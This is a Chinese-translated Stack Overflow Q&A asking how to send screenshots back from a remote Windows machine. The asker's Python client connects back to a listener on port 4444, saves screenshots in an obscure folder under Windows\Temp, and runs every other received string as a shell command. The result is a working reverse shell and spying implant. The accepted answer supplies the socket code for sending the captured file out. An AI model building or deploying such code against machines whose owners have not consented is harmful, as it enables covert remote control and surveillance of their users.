python - 我如何在远程 Windows 机器上截取屏幕截图并将其发回?

标签 python windows sockets tcp

我正在尝试在远程 Windows 机器上截取屏幕截图。例如,当您在服务器上输入命令“screenshot”时,它会在客户端机器上截取屏幕截图,将其保存到一个目录中,然后将其发送回服务器。我已经弄清楚了第一部分,但无法弄清楚如何将保存的文件发回。

服务器:

import socket
import sys
import subprocess

host = '192.168.1.25'
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((host, port))
s.listen(1)

conn, addr = s.accept()
sendCommands(conn)

def sendCommands(conn):
    cmd = input('console > ')

    if len(str.encode(cmd)) > 0:
        conn.send(str.encode(cmd))
        clientResponse = str(conn.recv(1024), "utf-8")
        print('\n' + clientResponse, end="")

客户:

import os
import sys
import subprocess
import socket
import autopy

def socketCreate():
    global host
    global port
    global s
    host = '192.168.1.25'
    port = 4444
    s = socket.socket()

def socketConnect():
    global host
    global port
    global s
    s.connect((host, port))

def recieveCommands():
    global s
    while True:
        data = s.recv(1024)
        if data[:].decode("utf-8") == 'screenshot':
            path = r'C:\Windows\Temp\LocalCustom\ssh\new\custom'
            screenshot = r'\screenshot.png'
            if not os.path.exists(path):
                os.makedirs(path)
            try:
                bitmap = autopy.bitmap.capture_screen()
                bitmap.save(path + screenshot)
                tookScreenShot = ('\n' + '[*] Succesfuly took screenshot at ' + path + '\n')
                s.send(str.encode(tookScreenShot))
            except:
                screenshotFailed = ('\n' + "[!] Couldn't take screenshot " + '\n')
                str(screenshotFailed)
                s.send(str.encode(screenshotFailed))
        else:
            if len(data) > 0:
                cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                output_bytes = cmd.stdout.read() + cmd.stderr.read()
                output_str = str(output_bytes, "utf-8")
                s.send(str.encode("utf-8"))
    s.close()

def main():
    socketCreate()
    socketConnect()
    recieveCommands()

main()

最佳答案

您应该从客户端发送如下内容

f = open('tosend.jpg','rb')
print 'Sending the file'
file = f.read(1024)
while (file):
    print 'Sending...'
    s.send(file)
    file = f.read(1024)
f.close()

print "Done Sending"
s.shutdown(socket.SHUT_WR)
print s.recv(1024)
s.close() 

在服务器上

while True:
     file = open('C:/received.jpg','w')
     l = s.recv(1024)
     while l:
         print "Receiving..."
         file.write(l)
         l = s.recv(1024)
     file.close()
     print "Done Receiving"
     s.close()

关于python - 我如何在远程 Windows 机器上截取屏幕截图并将其发回?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/53991507/

相关文章:

python - 将字符串转回日期时间 timedelta

c++ - 如何从多个 IP 数据包重建 TCP 流?

java - 将数据从 Python 程序发送到 Java 程序

windows - 如何批量增加文件名? (第2部分)

c# - 如何在 Windows 8 中使用在 Mac 上创建的重用软链接(soft link)

windows - 无法通过 PowerShell 设置证书友好名称(访问被拒绝)

java - 在java中使用套接字向服务器发送请求

python:将列表的每个元素组合到元组列表

Python相对导入语法: `from . import abc.xyz`

python - 深度学习中哪些算法可以验证列到矩阵的关系